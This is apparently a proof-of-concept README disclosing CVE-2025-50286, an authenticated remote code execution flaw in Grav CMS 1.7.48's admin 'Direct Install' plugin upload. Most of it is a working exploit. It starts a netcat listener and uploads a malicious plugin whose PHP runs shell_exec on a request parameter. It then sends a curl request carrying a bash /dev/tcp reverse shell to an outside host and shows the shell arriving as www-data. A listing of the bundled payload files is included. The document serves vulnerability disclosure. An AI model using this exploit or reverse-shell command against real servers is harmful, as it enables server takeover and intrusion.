# Grav CMS v1.7.48 / Admin Plugin v1.10.48 - Authenticated RCE via Plugin Upload (CVE-2025-50286)
Grav CMS v1.7.48 with Admin Plugin v1.10.48 is vulnerable to **Remote Code Execution (RCE)** via the "Direct Install" plugin upload feature, allowing authenticated administrators to execute arbitrary PHP code on the server.
## CVE ID
[CVE-2025-50286](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50286)
## Summary
* **Type:** Authenticated Remote Code Execution (RCE)
* **Location:** `/admin/tools/direct-install` (Admin Panel > Tools > Direct Install)
* **Impact:** Arbitrary PHP code execution and potential full system compromise
* **Authentication Required:** Yes (Administrator access)
* **Affected Version:** Grav CMS v1.7.48 / Admin Plugin v1.10.48
## Proof of Concept
1. Prepare a listener:
```bash
nc -lvnp 4444
```
2. Log in to the Grav Admin Panel as an administrator.
3. Navigate to `Tools > Direct Install`
4. Upload a malicious plugin ZIP (`evilplugin.zip`) structured as follows:
```
evilplugin/
├── evilplugin.php ← contains: shell_exec($_GET['cmd'])
└── blueprints.yaml ← minimal blueprint to pass validation
```
5. Trigger the reverse shell:
```bash
curl --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'" http://<target>/
```
6. Reverse shell received:
```bash
$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on <target-ip>
www-data@target:/var/www/html$ whoami
www-data
```
## Affected Component
* Endpoint: `/admin/tools/direct-install`
* Functionality: Plugin upload and autoload without validation
## Tested On
* Debian 11
* Apache2 + PHP 7.4
* Grav CMS v1.7.48 (with Admin Plugin v1.10.48)
## Discoverer
[@binneko](https://github.com/binneko)
## References
* [Grav CMS GitHub](https://github.com/getgrav/grav)
* [CVE Record - CVE-2025-50286](https://cve.mitre.org)
## Disclaimer
For educational and defensive purposes only.
[4.0K] /data/pocs/bbfa1103d7f7e109a3a348d6ded27b01177716b1
├── [1.0K] LICENSE
├── [4.0K] poc
│ ├── [4.0K] evilplugin
│ │ ├── [ 111] blueprints.yaml
│ │ ├── [ 252] evilplugin.php
│ │ └── [ 99] evilplugin.yaml
│ └── [ 986] evilplugin.zip
└── [2.0K] README.md
2 directories, 6 files